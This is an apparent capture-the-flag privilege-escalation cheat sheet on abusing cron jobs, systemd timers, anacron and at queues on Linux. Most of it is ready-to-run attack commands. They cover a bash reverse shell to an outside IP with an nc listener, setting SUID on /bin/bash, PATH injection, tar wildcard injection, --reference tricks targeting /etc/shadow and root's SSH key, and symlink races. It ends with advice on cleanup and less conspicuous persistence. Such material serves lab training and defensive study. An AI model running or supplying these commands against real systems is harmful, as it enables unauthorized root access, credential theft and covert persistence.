PrivEsc - Cron & Timers

Sections PrivEsc - Cron & Timers

Scheduled tasks running as root. The classic Insane-box privesc lives here. Run pspy from 05 Local Enum first.

i. Enumerate

cat /etc/crontab
cat /etc/anacrontab
ls -la /etc/cron.d/ /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
crontab -l 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer 2>/dev/null

Catch dynamic / per-user / non-cron schedulers:

ps -ef | grep -E 'cron|atd|anacron'
ls -la /var/spool/at/ 2>/dev/null

ii. pspy is the catch-all

Static enum misses things that get added at runtime. Always run pspy for 5+ minutes:

/dev/shm/.p -pf -i 1000

Watch for any PID running as uid=0 with a path you can influence.

iii. Writable script run by cron

The job’s script is in a writable path:

ls -la /opt/backup.sh
## -rwxrwxrwx 1 root root ... backup.sh   <- you can write
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /opt/backup.sh
## Wait for the next run
nc -lvnp 4444

iv. Writable directory in script path

Script lives in a writable dir, even if the script itself is root-owned:

ls -lad /opt/scripts
## drwxrwxr-x ... /opt/scripts   <- group-writable, you in that group
mv /opt/scripts/backup.sh /opt/scripts/backup.sh.bak
cat > /opt/scripts/backup.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x /opt/scripts/backup.sh
## Wait for cron, then:
/bin/bash -p

v. PATH injection

Cron job calls a command without absolute path, and the cron PATH includes a writable dir:

cat /etc/crontab
## PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/user/bin
## * * * * * root backup.sh
## /home/user/bin is in cron PATH and writable by 'user'
cat > /home/user/bin/backup.sh <<'EOF'
#!/bin/bash
chmod 4755 /bin/bash
EOF
chmod +x /home/user/bin/backup.sh

vi. Wildcard injection in cron

Root cron does tar czf /backup.tgz /home/*/:

cd /home/youruser
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh sh.sh'
cat > sh.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x sh.sh
## tar walks * and treats your files as flags

Other wildcard victims:

  • chown -R user:user * -> touch -- --reference=/root/.ssh/id_rsa
  • chmod 644 * -> touch -- --reference=/etc/shadow
  • rsync -av * /backup/ -> rsync -e injection

vii. Cron file race

Cron itself isn’t sudoers-aware. When a job creates a temp file as root then runs it, race to swap the file:

## Example: cron job runs /tmp/cleanup.sh after creating it as root.
## Symlink attack:
while :; do ln -sf /etc/shadow /tmp/target.tmp; done &
## When cron writes target.tmp, it writes through your symlink to /etc/shadow
Race timing

Race conditions are unreliable on Insane boxes that intentionally throttle. Try once, if it fails after 100+ attempts the path probably isn’t a race.

Job copies a file to a root-owned location, then changes perms. Race the copy step with a symlink to a different target:

## Job: cp /home/user/upload.zip /backup/; chmod 600 /backup/upload.zip
## You want chmod 600 to land on /etc/shadow:
while :; do
  rm -f /backup/upload.zip
  ln -sf /etc/shadow /backup/upload.zip
done

ix. systemd timers

Same idea as cron but lives in systemd. Find writable units:

systemctl list-timers
ls -la /etc/systemd/system/*.timer /etc/systemd/system/*.service
## Look for OnCalendar= or OnBootSec= timers calling a service
## Then check if the service's ExecStart= path is writable:
grep -RH 'ExecStart' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | head

If a .service is writable, change ExecStart= to your payload, then wait for the timer.

x. anacron and at

anacron runs missed cron jobs after boot, same surface as cron:

cat /etc/anacrontab
ls -la /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

at queue:

atq
at -c <job-id>
ls -la /var/spool/at/

xi. Common cron-based foothold patterns to look for

  • Backup scripts in /opt, /usr/local/bin, /home/<svcuser> that touch many directories
  • Monitoring scripts that find ... -exec
  • “Anti-cheat” jobs that kill processes by name (you can spawn one to escalate)
  • Log rotation that follows symlinks
  • Cleanup jobs that rm -rf /tmp/something/* (if you can write into the parent, race the rm)

xii. After privesc, clean up

## Remove the wildcard files
rm -- '--checkpoint=1' '--checkpoint-action=exec=sh sh.sh' sh.sh
## Restore original script if you replaced it
mv /opt/scripts/backup.sh.bak /opt/scripts/backup.sh
## Drop a less suspicious persistence than a SUID /bin/bash

See 13 Persistence & Cleanup for the cleanup checklist.